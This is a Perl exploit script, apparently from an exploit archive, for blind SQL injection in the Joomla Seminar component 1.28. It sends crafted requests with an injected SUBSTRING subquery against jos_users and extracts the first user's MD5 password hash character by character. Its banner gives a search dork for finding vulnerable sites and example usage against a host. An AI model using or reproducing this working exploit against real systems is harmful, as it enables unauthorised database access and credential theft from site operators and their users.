Joomla Seminar Component 1.28 SQL Injection

`#!/usr/bin/perl  
use LWP::UserAgent;  
use Getopt::Long;  
if(!$ARGV[1])  
{  
print " \n";  
print " ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";  
print " o Joomla Component Seminar Blind SQL Injection Exploit o\n";  
print " o Author:ThE g0bL!N o\n";  
print " o More info:http://extensions.joomla.org/extensions/calendars-&-events/events-registration/8426/details o\n";  
print " o vendor:http://seminar.vollmar.ws/ o\n";  
print " o Dork : inurl:com_seminar o\n";  
print " o Usage: perl bachir.pl host path <options> o\n";  
print " o Example: perl bachir.pl www.host.com /joomla/ -s 2 o\n";  
print " o o\n";  
print " o Options: o\n";  
print " o -s valid Article id o\n";  
print " o Note: o\n";  
print " o You can Change the match string by any content of the correct query o\n";  
print " ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";  
exit;  
}  
my $host = $ARGV[0];  
my $path = $ARGV[1];  
my $userid = 1;  
my $sid = $ARGV[2];  
my %options = ();  
GetOptions(\%options, "u=i", "s=i");  
print "[~] Exploiting...\n";  
if($options{"u"})  
{  
$userid = $options{"u"};  
}  
if($options{"s"})  
{  
$sid = $options{"s"};  
}  
syswrite(STDOUT, "[~] MD5-Hash: ", 14);  
for(my $i = 1; $i <= 32; $i++)  
{  
my $f = 0;  
my $h = 48;  
while(!$f && $h <= 57)  
{  
if(istrue2($host, $path, $userid, $sid, $i, $h))  
{  
$f = 1;  
syswrite(STDOUT, chr($h), 1);  
}  
$h++;  
}  
if(!$f)  
{  
$h = 97;  
while(!$f && $h <= 122)  
{  
if(istrue2($host, $path, $userid, $sid, $i, $h))  
{  
$f = 1;  
syswrite(STDOUT, chr($h), 1);  
}  
$h++;  
}  
}  
}  
print "\n[~] Exploiting done\n";  
sub istrue2  
{  
my $host = shift;  
my $path = shift;  
my $uid = shift;  
my $sid = shift;  
my $i = shift;  
my $h = shift;  
  
my $ua = LWP::UserAgent->new;  
my $query = "http://".$host.$path."index.php?option=com_seminar&task=View_seminar&id=".$sid." and SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1)=char(".$h.")";  
my $resp = $ua->get($query);  
my $content = $resp->content;  
my $regexp = "seminar_boxA";  
  
if($content =~ /$regexp/)  
{  
return 1;  
}  
else  
{  
return 0;  
}  
}  
  
  
  
`